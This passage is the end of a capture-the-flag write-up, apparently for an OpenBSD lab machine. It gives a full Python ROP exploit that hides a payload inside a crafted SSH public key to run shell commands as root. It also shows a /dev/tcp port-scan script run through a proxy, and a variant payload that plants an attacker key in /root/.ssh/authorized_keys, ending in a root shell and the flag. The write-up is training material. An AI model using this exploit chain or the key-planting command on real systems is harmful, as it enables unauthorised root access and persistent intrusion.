AcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABwA0AAAAAAAHADQAAAAAAAbQNAAAAAAABwA0AAAAAAAHADQAAAAAAAcANAAAAAAABtA0AAAAAAAHADQAAAAAAAcANAAAAAAABqA0AAAAAAANYQYAAAAAAAfANAAAAAAACAA0AAAAAAAGcDQAAAAAAA3hBgAAAAAAB8A0AAAAAAAIADQAAAAAAAagNAAAAAAAAAAAAAAAAAAAAAAAAAAAAB

(gdb) c

  Continuing.
  Breakpoint 2, 0x000000000040036a in ?? ()

(gdb) c

  Continuing.
  Breakpoint 2, 0x000000000040036a in ?? ()

(gdb) c

  Continuing.
  Breakpoint 2, 0x000000000040036a in ?? ()

(gdb) c

  Continuing.
  Breakpoint 2, 0x000000000040036a in ?? ()

(gdb) c

  Continuing.
  Program received signal SIGSEGV, Segmentation fault.
  0x000000000040036b in ?? ()

(gdb) info registers $rax $rdi $rsi $rdx

  rax            0x3b	    59
  rdi            0x601106	6295814
  rsi            0x6010e6	6295782
  rdx            0x0	    0

The needed registers have been completely controlled and to give an overview to what is inside RDI and RSI:

(gdb) x/xs $rdi

  0x601106:	 "/bin/sh"

(gdb) x/4xg $rsi

  0x6010e6:	0x0000000000601106	0x000000000060110e
  0x6010f6:	0x0000000000601116	0x0000000000000000

(gdb) x/xs 0x0000000000601106

  0x601106:	 "/bin/sh"

(gdb) x/xs 0x000000000060110e

  0x60110e:	 "-c"

(gdb) x/xs 0x0000000000601116

  0x601116:	 "echo $(id) > /tmp/jebidiah"

The pointers inside RSI are all going to the right places so the only thing left to do is to trigger the syscall.

5.8 ADDING SYSCALL

To finalize the exploit, the syscall instruction has been added to the code:

from Crypto.PublicKey import RSA
from pwn import 

# Floating Point Conversion=========================================

def convertAddressToFP(address):

    addr_int = int(str(address))
    binary = ""
    while addr_int > 0:
        binary += str(addr_int % 2)
        addr_int = int(addr_int/2)

    binary = binary[::-1]
    significant_left = binary.find("1")
    decimal_adj = len(binary[significant_left+1:])
    exponent_precision = 127 + decimal_adj
    exponent = ""
    while exponent_precision > 0:
        exponent += str(exponent_precision % 2)
        exponent_precision = int(exponent_precision/2)

    exponent = exponent[::-1]
    mantissa = binary[significant_left+1:].ljust(23,"0")
    binary_string = "0" + exponent + mantissa

    return int(binary_string, 2)

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Command Execution Payload=========================================

payload = ""
payload += p64(convertAddressToFP(0x006010d6 + 0x30))
payload += p64(convertAddressToFP(0x006010d6 + 0x10))
payload += p64(0x006010d6 + 0x30)
payload += p64(0x006010d6 + 0x38)
payload += p64(0x006010d6 + 0x40)
payload += p64(0)
payload += "/bin/sh" + "\x00"
payload += "-c" + ("\x00"  6)
payload += "echo $(id) > /tmp/jebidiah" + "\x00"        # TEST COMMAND

# Payload Buffer====================================================

payload += "A"  (768 - 22 - len(payload))	            # buffer
payload += "B"  8          			                # rbp

# Controlling RAX===================================================

payload += p64(0x00400394)  			# mov eax, 0xffffffff; xor rcx, rcx; ret;
for i in range(0,24):
    payload += p64(0x00400370)  		# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;

# Controlling RDI, RSI, RDX=========================================

payload += p64(0x0040036a)			    # pop rdx; ret;
payload += p64(0x006010d6)			    # RDI -> Pointer to "/bin/sh"
payload += p64(0x0040037c)			    # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			    # cvtss2si esi, xmm0; ret;
payload += p64(0x00400367)			    # mov rdi, rsi; pop rdx; ret;
payload += p64(0x006010d6 + 0x08)	    # RSI -> Pointer to argv addresses
payload += p64(0x0040037c)			    # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			    # cvtss2si esi, xmm0; ret;
payload += p64(0x0040036a)			    # pop rdx; ret;
payload += p64(0)				        # RDX set to NULL

# SYSCALL===========================================================

payload += p64(0x004003cf)			    # syscall; ret;
payload += p64(0)

# Payload Generation================================================

generateRSAPublicKey(payload)

5.9 TESTING ON LOCAL OPENBSD

Running the completed exploit code then passing the generated payload as an identity file when logging in via SSH:

$ python test.py > test.key

$ ssh -i test.key -l root 192.168.222.134

  root@192.168.222.134's password:
  Permission denied, please try again.
  root@192.168.222.134's password:
  Permission denied, please try again.
  root@192.168.222.134's password:
  root@192.168.222.134: Permission denied (publickey,password,keyboard-interactive).

Then checking if the file was created:

$ ssh -l jebidiah 192.168.222.134

obsd$ ls -l /tmp/jebidiah

  -rw-r--r--  1 root  wheel  101 May  9 03:50 /tmp/jebidiah

obsd$ cat /tmp/jebidiah

  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

So the exploit works on my local setup, the only thing to do is to run it on the machine.


PART 6 : PRIVILEGE ESCALATION (freshness → root)

6.1 Attended Gateway

It was stated earlier in a note that the authkeys was implemented on attendedgw but not on attended. Looking for other machines in the network via ping sweep then scanning for ports remotely:

attended$ ifconfig vio0

  vio0: flags=8b43<UP,BROADCAST,RUNNING,PROMISC,ALLMULTI,SIMPLEX,MULTICAST> mtu 1500
  	lladdr 00:10:20:30:40:50
  	index 1 priority 0 llprio 3
	groups: egress
	media: Ethernet autoselect
	status: active
	inet 192.168.23.2 netmask 0xffffff00 broadcast 192.168.23.255

attended$ ping -c1 attendedgw

  PING attendedgw.attended.htb (192.168.23.1): 56 data bytes
  64 bytes from 192.168.23.1: icmp_seq=0 ttl=255 time=0.840 ms

The Attended Gateway is at 192.168.23.1 and now, to check for open ports, I opened a reverse proxy via SSH to the machine and ran the following script:

#!/bin/bash
for port in {1..12000}; do
	(echo > /dev/tcp/192.168.23.1/$port) &>/dev/null
	[ $? -eq 0 ] && echo "TCP PORT $port open"
done;
$ ssh -i freshness.id_rsa -l freshness -D 6969 -f -N 10.10.10.221

$ sudo vim /etc/proxychains.conf

$ cat /etc/proxychains.conf | tail -n2

  # ATTENDED
  socks5	127.0.0.1 6969

$ proxychains ./ports.sh

  TCP PORT 25 open
  TCP PORT 53 open
  TCP PORT 80 open
  TCP PORT 2222 open
  TCP PORT 8080 open

It seems like the SSH port is open at TCP port 2222.

6.2 RUNNING THE EXPLOIT

The exploit has been modified to write an SSH public key to the authorized_keys file in /root:

from Crypto.PublicKey import RSA
from pwn import 

# Floating Point Conversion=========================================

def convertAddressToFP(address):

    addr_int = int(str(address))
    binary = ""
    while addr_int > 0:
        binary += str(addr_int % 2)
        addr_int = int(addr_int/2)

    binary = binary[::-1]
    significant_left = binary.find("1")
    decimal_adj = len(binary[significant_left+1:])
    exponent_precision = 127 + decimal_adj
    exponent = ""
    while exponent_precision > 0:
        exponent += str(exponent_precision % 2)
        exponent_precision = int(exponent_precision/2)

    exponent = exponent[::-1]
    mantissa = binary[significant_left+1:].ljust(23,"0")
    binary_string = "0" + exponent + mantissa

    return int(binary_string, 2)

# Public Key Generation=============================================

def generateRSAPublicKey(payload):
    n = int("".join([format(ord(x),"02x") for x in payload]),16) + 1
    print(RSA.construct((n, 65537)).exportKey(format="OpenSSH").decode("utf-8"))

# Command Execution Payload=========================================

payload = ""
payload += p64(convertAddressToFP(0x006010d6 + 0x30))
payload += p64(convertAddressToFP(0x006010d6 + 0x10))
payload += p64(0x006010d6 + 0x30)
payload += p64(0x006010d6 + 0x38)
payload += p64(0x006010d6 + 0x40)
payload += p64(0)
payload += "/bin/sh" + "\x00"
payload += "-c" + ("\x00"  6)
payload += "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc=' >> /root/.ssh/authorized_keys" + "\x00"

# Payload Buffer====================================================

payload += "A"  (768 - 22 - len(payload))	            # buffer
payload += "B"  8          			                # rbp

# Controlling RAX===================================================

payload += p64(0x00400394)  			# mov eax, 0xffffffff; xor rcx, rcx; ret;
for i in range(0,24):
    payload += p64(0x00400370)  		# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x0040036d)  			# not al; adc cl, 0xe8; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;
payload += p64(0x00400370)  			# shr eax, 1; ret;

# Controlling RDI, RSI, RDX=========================================

payload += p64(0x0040036a)			    # pop rdx; ret;
payload += p64(0x006010d6)			    # RDI -> Pointer to "/bin/sh"
payload += p64(0x0040037c)			    # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			    # cvtss2si esi, xmm0; ret;
payload += p64(0x00400367)			    # mov rdi, rsi; pop rdx; ret;
payload += p64(0x006010d6 + 0x08)	    # RSI -> Pointer to argv addresses
payload += p64(0x0040037c)			    # movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
payload += p64(0x00400380)			    # cvtss2si esi, xmm0; ret;
payload += p64(0x0040036a)			    # pop rdx; ret;
payload += p64(0)				        # RDX set to NULL

# SYSCALL===========================================================

payload += p64(0x004003cf)			    # syscall; ret;
payload += p64(0)

# Payload Generation================================================

generateRSAPublicKey(payload)

Now passing the generated payload via SSH:

$ python exploit.py > exploit.key

$ proxychains ssh -i exploit.key -l root -p 2222 192.168.23.1

  root@192.168.23.1's password:
  Permission denied, please try again.
  root@192.168.23.1's password:
  Permission denied, please try again.
  root@192.168.23.1's password:
  root@192.168.23.1: Permission denied (publickey,password,keyboard-interactive).

$ proxychains ssh -i freshness.id_rsa -l root -p 2222 192.168.23.1

attendedgw# id

  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

attendedgw# cat /root/root.txt

  1986e8537a05420f0d59263f04dcd48a

PART 7 : REFERENCES

- https://securitynews.sonicwall.com/xmlpost/vim-modelines-remote-command-execution-dec-23-2016/
- https://medium.com/@knownsec404team/vim-neovim-arbitrary-code-execution-via-modelines-cve-2002-1377-cve-2016-1248-cve-2019-12735-c769a97dfccf
- https://man.openbsd.org/sshd_config.5
- https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=3b
- https://man7.org/linux/man-pages/man2/execve.2.html
- https://www.wikihow.com/Convert-a-Number-from-Decimal-to-IEEE-754-Floating-Point-Representation
- https://www.felixcloutier.com/x86/cvtss2si
- https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/